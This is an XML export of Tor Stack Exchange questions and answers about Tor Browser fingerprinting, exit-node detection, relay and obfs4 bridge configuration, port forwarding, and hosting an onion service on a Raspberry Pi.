  <row Id="20786" PostTypeId="2" ParentId="20712" CreationDate="2020-01-16T17:48:53.410" Score="3" Body="&lt;p&gt;This is intentional as it is a way to protect against finger printing your browser window based on the dimensions of going full screen.  It reduces the websites ability to track you based on the window dimensions.  &lt;/p&gt;&#xA;" OwnerUserId="28495" LastActivityDate="2020-01-16T17:48:53.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20787" PostTypeId="2" ParentId="20691" CreationDate="2020-01-16T17:51:11.860" Score="1" Body="&lt;p&gt;Removing it will put you in the probably less than 1% of people that have done so, making fingerprinting you 99% easier, and honestly, it'd probably make uniquely identifying your computer 99.99% easier because you'd be 1 in 10000 to have removed it and have a specific device with those specific dimensions in full screen.&lt;/p&gt;&#xA;" OwnerUserId="28495" LastActivityDate="2020-01-16T17:51:11.860" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20788" PostTypeId="2" ParentId="20482" CreationDate="2020-01-16T17:57:47.170" Score="2" Body="&lt;p&gt;Installing addons makes your browser more easily identifiable, therefor they decided to go minimalist on it.  Think about it this way: if 80% of Tor users used DDG and 20% used Qwant, by using Qwant you're making it 20% easier to finger print DDG users, and you're making yourself 80% easier to fingerprint by fragmenting the search engine base.  &lt;/p&gt;&#xA;" OwnerUserId="28495" LastActivityDate="2020-01-16T17:57:47.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20789" PostTypeId="1" CreationDate="2020-01-16T23:18:44.913" Score="0" ViewCount="272" Body="&lt;p&gt;I'm trying to use TOR Browser in my code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Proxy proxy = new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(&quot;127.0.0.1&quot;, 9150));&#xA;//add proxy to some other Java class to use&#xA;System.out.println(proxy.address()); //127.0.0.1:9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would print the locahost address instead of the IP the TOR Browser routes the traffic to. Is there a way to get the later?&lt;/p&gt;&#xA;" OwnerUserId="28497" LastActivityDate="2020-03-29T17:26:21.380" Title="TOR Browser in a Java application: how to view the IP address of a Proxy object" Tags="|ip-address|java|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20790" PostTypeId="1" AcceptedAnswerId="20791" CreationDate="2020-01-17T13:32:08.623" Score="0" ViewCount="179" Body="&lt;p&gt;When I use tor, certain websites are not accessible. Somehow the website knows that I'm using tor. But how? It is just supposed to see an unencrypted request from the exit node ... Or are all the relay servers known and therefore blocked in advance?&lt;/p&gt;&#xA;" OwnerUserId="28498" LastActivityDate="2020-01-17T14:56:33.530" Title="How do webservers know that the request comes from a tor network?" Tags="|blocked|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20791" PostTypeId="2" ParentId="20790" CreationDate="2020-01-17T14:56:33.530" Score="2" Body="&lt;p&gt;I wrote a &lt;a href=&quot;https://cloudyday.tech.blog/2019/12/21/lets-talk-about-anonymity-online/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog post&lt;/a&gt; about this here. Here's the gist:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Let me show you what it looks like from the internet’s point of view&#xA;  when I go to a simple website using a normal Browser (Brave):&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;111.222.333.444 – – [18/Dec/2019:16:29:05 +0000] “GET / HTTP/1.1” 200 7094 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,&#xA;  like Gecko) Chrome/78.0.3904.108 Safari/537.36”&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The 111.222.333.444 would be my IP address. With that, anyone can get&#xA;  a lot of information about me.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Let’s see what it looks like when visit my website using the Tor&#xA;  Browser:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;45.66.35.35 – – [18/Dec/2019:16:49:41 +0000] “GET / HTTP/1.1” 200 7094 “-” “Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101&#xA;  Firefox/68.0”&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The IP address is not mine. It belongs to an exit node which is run by&#xA;  a Tor volunteer. These IP addresses are publicly known and are often&#xA;  banned from many websites.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is how a website knows you are using Tor. They match that IP up with a list of known Tor exit nodes. You are still anonymous but they can see that you are a Tor user. If you are wondering why they don't just hide the exit nodes, the answer is &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#HideExits&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-17T14:56:33.530" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20795" PostTypeId="2" ParentId="20782" CreationDate="2020-01-18T12:58:43.943" Score="0" Body="&lt;p&gt;You have a few options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Programatically using an API like &lt;a href=&quot;https://stem.torproject.org/tutorials/mirror_mirror_on_the_wall.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stem&lt;/a&gt; (Python)&lt;/li&gt;&#xA;&lt;li&gt;Tor's &lt;a href=&quot;https://metrics.torproject.org/collector.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;metrics&lt;/a&gt; project (see &lt;a href=&quot;https://metrics.torproject.org/sources.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for more)&lt;/li&gt;&#xA;&lt;li&gt;Have a look at previous questions, e.g. &lt;a href=&quot;https://tor.stackexchange.com/questions/14697/list-of-all-the-entry-nodes&quot;&gt;this&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28502" LastActivityDate="2020-01-18T12:58:43.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20796" PostTypeId="1" CreationDate="2020-01-19T00:41:15.577" Score="0" ViewCount="302" Body="&lt;p&gt;I have install a VPN on my computer and connecting TOR throught it.&#xA;How can I check that the connection really goes throught VPN ?&#xA;I can't just goto any &quot;what's my IP&quot; page as this will just return the exit node IP&#xA;I want to know what IP the entry node sees&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas ?&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2022-03-15T15:07:40.780" Title="TOR throught VPN -- know what IP the entry node sees" Tags="|entry|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20797" PostTypeId="2" ParentId="20779" CreationDate="2020-01-19T01:43:36.617" Score="0" Body="&lt;p&gt;Your ISP will know only metadata of the communication to the tor relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be able to know the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you're connected to the tor network and when you're connecting (Note that Tor utilizes packet buffering, delays and shuffling techniques to protect from this attack class - reference: &lt;a href=&quot;https://www.whonix.org/wiki/Speculative_Tor_Attacks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Speculative_Tor_Attacks&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;The IP address of the first node you're connecting to&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28500" LastActivityDate="2020-01-19T01:43:36.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20798" PostTypeId="1" CreationDate="2020-01-19T02:08:35.693" Score="0" ViewCount="9337" Body="&lt;p&gt;While settting up my relay, I met this question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 19 10:02:22.000 [warn] Problem bootstrapping. Stuck at 10% (conn_done): Connected to a relay. (DONE; DONE; count 51; recommendation warn; host 24E2F139121D4394C54B5BCC368B3B411857C413 at 204.13.164.118:443)&#xA;Jan 19 10:02:22.000 [warn] 51 connections have failed:&#xA;Jan 19 10:02:22.000 [warn]  32 connections died in state handshaking (TLS) with SSL state SSLv3/TLS write client hello in HANDSHAKE&#xA;Jan 19 10:02:22.000 [warn]  18 connections died in state connect()ing with SSL state (No SSL object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had read &lt;a href=&quot;https://tor.stackexchange.com/a/14188/28505&quot;&gt;this answer&lt;/a&gt;, but I have set up obfs4. What's going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.torrc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 0&#xA;Log notice file ~/tor-notices.log&#xA;RunAsDaemon 1&#xA;ORPort 443&#xA;Exitpolicy reject *:*&#xA;BridgeRelay 1&#xA;# PublishServerDescriptor 0&#xA;ServerTransportPlugin obfs4 exec /usr/local/bin/obfs4proxy&#xA;ServerTransportListenAddr obfs4 [::]:2048&#xA;ExtORPort auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28505" LastActivityDate="2023-02-13T14:07:00.950" Title="Problem bootstrapping. Stuck at 10% (conn_done): Connected to a relay" Tags="|relays|obfsproxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20799" PostTypeId="2" ParentId="20796" CreationDate="2020-01-19T07:50:41.127" Score="0" Body="&lt;p&gt;I don't know if this will work but try the traceroute utility and if it shows the VPN server you are connected to, that means you are connected or maybe try pinging the IP of the server you are connected to?&lt;/p&gt;&#xA;" OwnerUserId="28506" LastActivityDate="2020-01-19T07:50:41.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20800" PostTypeId="2" ParentId="13130" CreationDate="2020-01-19T09:46:10.933" Score="1" Body="&lt;p&gt;Originally torrc configures you listening on localhost &lt;strong&gt;127.0.0.1&lt;/strong&gt; so &lt;strong&gt;change listen address&lt;/strong&gt; to global &lt;strong&gt;0.0.0.0&lt;/strong&gt; or LAN IP &lt;strong&gt;192.168.1.XXX&lt;/strong&gt; in /etc/tor/torrc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Relay config:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#ORPort 443 &amp;lt;-- Make sure to comment this line out!&#xA;ORPort 443 NoListen&#xA;ORPort 0.0.0.0:9999 NoAdvertise&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;[DirPort optional]&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#DirPort 80 &amp;lt;-- Make sure to comment this line out!&#xA;DirPort 80 NoListen&#xA;DirPort 0.0.0.0:22222 NoAdvertise&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bridge config:&lt;/strong&gt;&#xA;Then for &lt;a href=&quot;https://bridges.torproject.org/scan/&quot; rel=&quot;nofollow noreferrer&quot;&gt;testing&lt;/a&gt; purposes, you would enter obfs4 port 443. Watch out! Test fails when run from the same device you are running Tor Bridge on.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#ORPort 80 &amp;lt;-- Make sure to comment this line out!&#xA;ORPort 80 NoListen&#xA;ORPort 0.0.0.0:22222 NoAdvertise&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;ServerTransportListenAddr obfs4 0.0.0.0:99999&#xA;ExtORPort auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tighten it:&lt;/strong&gt;&#xA;Local port 99999 reachable from LAN, listening for incoming connections from router. Router listening on 0.0.0.0:443 = ORPort reachable from WAN. Possible TCP backdoor closed.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#ORPort 443 &amp;lt;-- Make sure to comment this line out!&#xA;ORPort 443 NoListen&#xA;ORPort 192.168.100:9999 NoAdvertise # Notice LAN address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;If you are running a httpd web server:&lt;/strong&gt;&#xA;Forward a random WAN port to local port 80. That done, let people know they have to access a web server on your network like this now: XXX.XXX.X.XXX:8000&lt;/p&gt;&#xA;&lt;h1&gt;DIY Portforwarding:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;strong&gt;1. Find out which router you have and ho to log into it.&lt;/strong&gt; Read the documentation for your specific router. &lt;a href=&quot;https://www.asus.com/us/support/FAQ/114093/&quot; rel=&quot;nofollow noreferrer&quot;&gt;For Asus&lt;/a&gt;. Asus specifically states that i need to give my computer a Manual(static) IP address to portforward.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2. Make your IP static from the computers side.&lt;/strong&gt; &amp;quot;Preferred DNS server&amp;quot; will be your routers LAN IP, for asus 192.168.1.1 is the one.&lt;/p&gt;&#xA;&lt;p&gt;For purpose of above examples:&#xA;Say i portforwarded like this, &lt;em&gt;External 443 -&amp;gt; Local 99999&lt;/em&gt; and&#xA;&lt;em&gt;External 80  -&amp;gt; Local 22222&lt;/em&gt;, where External port = on your router (WAN port), and, Local port = on your computer.&lt;/p&gt;&#xA;&lt;p&gt;Listening globally is already default on the router. So configure your torrc like under the heading &lt;strong&gt;Tighten it&lt;/strong&gt;.(For asus, default listening would be changed by filling in the Source IP input field, e.g. 192.168.1.101/24 would make port listen only for connections from 192.168.1.2 - 192.168.1.255 (/24 for the first 3x8 bits must be identical).&lt;/p&gt;&#xA;&lt;p&gt;Dont worry, this is safe. Like this &lt;a href=&quot;https://serverfault.com/questions/705197/http-over-port-443-vs-https-over-port-80?newreg=797b375b425e4a59bdd1414ad61c1cdf&quot;&gt;port 80 and 443&lt;/a&gt; wont actually be standing open on your computer and your router should have default setting 'WAN config' disabled. [Asus: Administration&amp;gt;System&amp;gt;Remote Access Config&amp;gt;Enable Web Access from WAN=NO].&lt;/p&gt;&#xA;&lt;p&gt;Of course you could however forward external port 443 to local port 443, and 80 to 80. But TLS protocol is configured to send your &lt;a href=&quot;https://stackoverflow.com/questions/7949357/ssl-and-public-key-security#7958709&quot;&gt;computers standard certificates&lt;/a&gt; on &lt;a href=&quot;https://security.stackexchange.com/questions/69324/ssl-protocol-port-443&quot;&gt;port 80 and 443.&lt;/a&gt; Tor genereates special Tor certificates verified by Tor Directory Authorities for TLS handshake.&lt;/p&gt;&#xA;&lt;p&gt;Make sure to build yourself a good portscanner to calm your paranoia in times of need with &lt;a href=&quot;https://www.youtube.com/watch?v=IOvvjNi8OdU&amp;amp;t=858s&quot; rel=&quot;nofollow noreferrer&quot;&gt;youtube instructions&lt;/a&gt; from DRAPS TV [Hint: optparse is depreceated since python3.2, use argparse]&lt;/p&gt;&#xA;" OwnerUserId="28507" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2020-05-31T10:25:15.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20801" PostTypeId="2" ParentId="4325" CreationDate="2020-01-19T12:16:01.520" Score="1" Body="&lt;p&gt;&lt;strong&gt;If you are using a router&lt;/strong&gt; to connect to the internet you need to &lt;strong&gt;portforward&lt;/strong&gt; (e.g. external 80 to local 99999, and, ext 443 to loc 22222). &#xA;And, if you &quot;cross-portforward&quot; to a different local port number than your advertised ORPort/DirPort/obsf4 port, you need to &lt;strong&gt;update /etc/tor/torrc&lt;/strong&gt; to &lt;strong&gt;listen on your LAN IP, or, listen globally&lt;/strong&gt; - instead of the loopback address originally written as the NoAdvertise address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#ORPort 80 &amp;lt;-- Make sure to comment this line out!&#xA;ORPort 80 NoListen&#xA;ORPort 192.168.1.100:9999 NoAdvertise&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportListenAddr obfs4 192.168.1.100:22222&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#ORPort 80 &amp;lt;-- Make sure to comment this line out!&#xA;ORPort 80 NoListen&#xA;ORPort 0.0.0.0:99999 NoAdvertise&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportListenAddr obfs4 0.0.0.0:22222&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;[obfs4 only Bridge! To &lt;a href=&quot;https://bridges.torproject.org/scan/&quot; rel=&quot;nofollow noreferrer&quot;&gt;test&lt;/a&gt; bridge you would enter ext port 443. Achtung! Test fails when run from the same device you are running tor bridge on.]&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have answered this in detail here: &lt;a href=&quot;https://tor.stackexchange.com/questions/13130/how-to-make-tor-relays-orport-reachable/20800#20800&quot;&gt;How to make Tor relay&amp;#39;s ORPort reachable?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28507" LastEditorUserId="28507" LastEditDate="2020-05-31T10:22:35.663" LastActivityDate="2020-05-31T10:22:35.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20802" PostTypeId="2" ParentId="14723" CreationDate="2020-01-19T12:33:51.967" Score="0" Body="&lt;p&gt;Not if you turn the relay off, but possibly if you turn your router off and your computer is assigned a new LAN IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make your IP static both on the router side and computer &#xA;side. For &quot;Preferred DNS server&quot; enter the routers LAN IP, e.g. 192.168.1.1 for asus.&lt;/p&gt;&#xA;" OwnerUserId="28507" LastEditorUserId="28507" LastEditDate="2020-01-27T11:55:27.687" LastActivityDate="2020-01-27T11:55:27.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20803" PostTypeId="2" ParentId="20798" CreationDate="2020-01-19T18:31:01.663" Score="0" Body="&lt;p&gt;It seems like your tor is misconfigured.. (or I am misunderstanding) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you trying to run a bridge relay? Or do you mean to specify that you want to use bridges, to establish a connection to the onion network through stringent conditions?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050&#xA;Log notice file ~/tor-notices.log&#xA;RunAsDaemon 1&#xA;ORPort 443&#xA;Exitpolicy reject *:*&#xA;&#xA;#BridgeRelay 1&#xA;UseBridges 1&#xA;&#xA;# PublishServerDescriptor 0&#xA;ClientTransportPlugin obfs4 exec /usr/local/bin/obfs4proxy&#xA;#ServerTransportListenAddr obfs4 [::]:2048&#xA;ExtORPort auto&#xA;&#xA;Bridge obfs4 88.193.235.54:52313 13499A6677D38C132DB84A5BCC841A61210B2491 cert=0TC1Ul9jW1nCALKm5pKYcrrKoZm/ttDvbMsf0qJ9SyhhHSlXwpbrJUeFYiHAtjptMRpAXw iat-mode=0&#xA;Bridge obfs4 175.211.109.73:443 7561F8F902957490421282F3D12F81F8115B9AF9 cert=WFJBHYP/MYBU9bgPkU/JqIxZfz9RHiBA+tSZpVtofIUzgItq7bi14lqKQb85csCWQsKsYQ iat-mode=0&#xA;Bridge obfs4 72.19.15.147:443 F12E59AA3EF26CFF4623D379E8358617BB24C1F6 cert=vhf1NSQL3A1dsi+yNAGHmrMHZmBkJRacSrofqqP9QM1tVW/qh1nAY9Q4JCWwvC81AMwNYg iat-mode=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wish to obtain your own bridges, visit &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges.torproject.org&lt;/a&gt;. The above were just obtained from there now.&lt;/p&gt;&#xA;" OwnerUserId="28418" LastActivityDate="2020-01-19T18:31:01.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20805" PostTypeId="2" ParentId="9529" CreationDate="2020-01-20T13:11:30.417" Score="1" Body="&lt;p&gt;To answer your question first, Go to the internet option and then change the proxy from HTTP to socks, then your browser works. Same goes to the skype's proxy settings, you need to change it to socks. Games? I don't think there are proxy settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can it route the entire system? No, Socks don't work that way. Socks stick with the applications, not the interface you are trying to achieve as applications without proxy supports would directly send it to the interface, that's why VPN was invented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &quot;hacks&quot; available to achieve your goal. you can route every software to go through 3rd party proxy programs which are just put itself on the highest priority in routing gateway, made with mostly 'netsh' command, so software hit the highest priority gateway which is the port of the proxy from 3rd party proxy program. But why would you go through this route if you could just use the VPN when TOR connections can't do socks5, (it supports socks5 but it isn't really socks5, it's socks4). So your skype calls or games will have high latency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendations in a different situations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To improve speed, you can do pure socks5 using shadowsocks. to make the interface, add VPN To make impossible to track your location then Tor on top of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you still need more? proxychains.&lt;/p&gt;&#xA;" OwnerUserId="28514" LastActivityDate="2020-01-20T13:11:30.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20806" PostTypeId="1" CreationDate="2020-01-20T14:13:32.313" Score="1" ViewCount="3430" Body="&lt;p&gt;In &lt;a href=&quot;https://tor.stackexchange.com/questions/58/securely-hosting-a-tor-hidden-service-site/4668&quot;&gt;Securely hosting a Tor hidden service/site&lt;/a&gt;, everyone concludes that the best approach is to host the server on a VM with Whonix and full-disk encryption. Thus, the server will be isolated, and if someone manages to get in, they will not be able to reveal your real IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to host a hidden site using a Raspberry Pi, but as far as I know, they have ARM processors and cannot run VirtualBox, for instance. Plus, the system resources of a single board computer are quite limited. On the other hand, I don't want to have my laptop turned on 24/7. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best approach when it comes to hosting a Tor hidden site using a Raspberry Pi?&lt;/p&gt;&#xA;" OwnerDisplayName="user28451" LastActivityDate="2022-01-02T11:46:40.540" Title="How to securely host a Tor hidden site with Raspberry Pi?" Tags="|onion-services|anonymity|raspberry-pi|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20807" PostTypeId="2" ParentId="20806" CreationDate="2020-01-20T21:02:31.600" Score="0" Body="&lt;p&gt;Like most things, it's really best to know examine what it is that you want to do with your onion service. Do you want to run a blog? Do you want to run a message board or an image board? Do you expect people do do things on your site besides read?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to just run a blog, then you can do that with just a $5 Raspberry Pi nano. You really need to determine what kind of resources that you need and what kind content that you want to have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said you probably don't need a VM or whonix or anything like that. What is most important is a firm understanding of what an onion service is and how it works. Also, if you very concerned about your anonymity, focus on the simplest website as possible.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-20T21:02:31.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20811" PostTypeId="1" CreationDate="2020-01-22T07:56:27.227" Score="0" ViewCount="106" Body="&lt;p&gt;I recently moved a tor hidden service from one rpi to another. Everything works dandy, until I exchange the hostname and private_key files to a vanity V2 onion I own. In torrc I changed the version to V2, and I tried&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Replacing the entire files with my own hostname &amp;amp; private_key FILES&lt;/li&gt;&#xA;&lt;li&gt;Keeping the tor-generated files, and only replacing their content to that of my vanity hostname &amp;amp; private_key content&lt;/li&gt;&#xA;&lt;li&gt;Checking permissions (everything set to Debian-tor) &lt;/li&gt;&#xA;&lt;li&gt;re-installing the entire OS, etc. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Nothing seems to be firing it up... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing? &lt;/p&gt;&#xA;" OwnerUserId="28522" LastActivityDate="2020-01-22T15:01:09.990" Title="Tor &gt; vanity hostname and private_key &gt; moved from other server &gt; not working" Tags="|private-key|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20812" PostTypeId="2" ParentId="20806" CreationDate="2020-01-22T09:27:07.163" Score="1" Body="&lt;p&gt;It's actually quite easy:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install OS on RPi&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download web server; nginx? (sleek, simple, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;# apt-get install nginx&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Determine IP of RPi&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;# ifconfig | grep 'inet addr' | grep -v '127.0.0.1'&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install TOR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;# apt-get install tor&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alterations on tor config&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;# nano /etc/tor/torrc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search for those two lines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;HiddenServicePort 80 192.168.13.199:80&lt;/code&gt; (where 192... is your local IP)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create hidden_service directory&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cd /var/lib/tor&#xA;# mkdir hidden_service&#xA;# chown debian-tor:debian-tor hidden_service&#xA;# chmod 0700 hidden_service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Restart TOR to create hostname and keys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;# systemctl restart tor&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check if hostname and keys are there&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ls -l&#xA;-rw------- 1 debian-tor debian-tor  23 Jan 29 22:10 hostname&#xA;-rw------- 1 debian-tor debian-tor 887 Jan 29 21:42 private_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;9&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy and paste hostname into TOR browser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;# cat hostname&lt;/code&gt; (will display your individual hostname available on TOR) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Profit!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28522" LastEditorUserId="28537" LastEditDate="2020-03-25T18:25:00.590" LastActivityDate="2020-03-25T18:25:00.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20813" PostTypeId="2" ParentId="20650" CreationDate="2020-01-22T13:32:28.507" Score="0" Body="&lt;p&gt;curl &lt;a href=&quot;https://deb.torproject.org/torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://deb.torproject.org/torproject.org&lt;/a&gt; /A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --import&lt;/p&gt;&#xA;&#xA;&lt;p&gt;% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&#xA;                             Dload  Upload   Total   Spent    Left  Speed&#xA;100 19665  100 19665    0     0  53005      0 --:--:-- --:--:-- --:--:-- 53005&#xA;gpg: key EE8CBC9E886DDD89: 36 signatures not checked due to missing keys&#xA;gpg: /home/abigael/.gnupg/trustdb.gpg : trust base created&#xA;gpg: clef EE8CBC9E886DDD89 : public key « deb.torproject.org archive signing key » importée&#xA;gpg: Total amount processed : 1&#xA;gpg:               imported : 1&#xA;gpg: no key of ultimate confidence was found&#xA;But:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sudo -i&#xA;gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gpg: warning : nothing exported&#xA;gpg: no valid OpenPGP data found&lt;/p&gt;&#xA;" OwnerUserId="28524" LastActivityDate="2020-01-22T13:32:28.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
